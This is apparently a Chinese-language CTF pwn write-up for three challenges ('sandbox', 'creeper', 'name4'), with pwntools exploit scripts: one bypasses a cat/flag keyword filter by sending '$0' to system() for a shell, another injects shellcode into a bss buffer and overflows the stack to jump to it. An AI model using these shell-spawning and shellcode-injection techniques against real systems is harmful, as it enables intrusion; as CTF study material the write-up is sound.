sandbox

先将文件拖入kali中检查一下,发现是一个六十四位的elf,开启了NX保护以及Canary。

将该文件拖入IDA中发现有一个box函数,点击进入box函数,我们发现定义了一个字符buf,是用户输入的,但是其用if对字符buf进行判断,进而过滤了一些关键字,若我们输入相应的关键字,该程序就会直接结束。

我们再进行nc连接发现里面有flag,但是由于其过滤了cat、flag两个关键字,因此我们需要进行绕过,从而获取flag。

还有一种方法就是,因为若我们不输入关键字,在box函数最后会执行system函数,由于无法输入/bin/sh与sh进行提权,那么我们可以利用system(‘$0’)来提权,因此exp可以如下编写:

from pwn import*
#r=remote('ip',port)
r=process('./sandbox')
payload='$0'
r.sendline(payload)
r.interactive()

creeper

同样先拖进kali观察一下,64位elf,没有什么保护。

将其拖入IDA中观察,发现有一个game函数,点击进入,同样是定义了一个字符buf,由我们输入,并且发现system函数,但是对输入的字符长度限制为15,因此我们只需要输入的字符的长度为15就行了。(注意:如果是nc连接,最后的回车也算是一个字符;如果是用sendline上传payload,最后也有一个回车;如果是send,最后就没有回车。

中间几道太简单了,在这里就没进行记录,记录一下有意义的题。

name4

步骤与前面几道题差不多,就不再赘述了。在这里只做分析。

经过检查可以发现没有开启任何保护,并且没有相关的后门函数,因此可以用shellcode来获权。

通过ida我们可以发现一个start函数,跟进发现存在栈溢出,而且name与::s均在bss段上,因此我们可以将shellcode写入二者之一,但是由于name是用来判断是否为0,只有其为0才会调用gets函数进行栈溢出,所以我们用“\x00”来进行绕过并将shellcode写入s中,最后再进行栈溢出,返回地址为s。下面为exp:

from pwn import*
io=remote('IP',port)
io.sendlineafter(b'name:\n',b'\x00')
shellcode=asm(shellcraft.sh())
io.sendlineafter(b'name:\n',shellcode)
payload=b'a'*(0x20+4)+p32(0x0804A0E0)
io.sendline(payload)
io.interactive()